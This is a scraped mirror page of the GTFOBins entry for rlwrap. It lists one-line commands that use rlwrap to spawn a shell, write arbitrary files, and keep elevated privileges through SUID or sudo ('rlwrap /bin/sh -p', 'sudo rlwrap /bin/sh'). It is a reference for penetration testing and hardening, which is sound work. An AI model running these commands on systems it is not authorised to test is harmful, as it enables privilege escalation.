1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 19:01:59 +02:00
GTFOBins.github.io/_gtfobins/rlwrap.md
2018-07-16 15:01:50 +02:00

375 B

functions
execute-interactive file-write suid-enabled sudo-enabled
code
rlwrap /bin/sh
description code
This adds timestamps to the output file. This relies on the external `echo` command. LFILE=file_to_write rlwrap -l "$LFILE" echo data
code
./rlwrap -H /dev/null /bin/sh -p
code
sudo rlwrap /bin/sh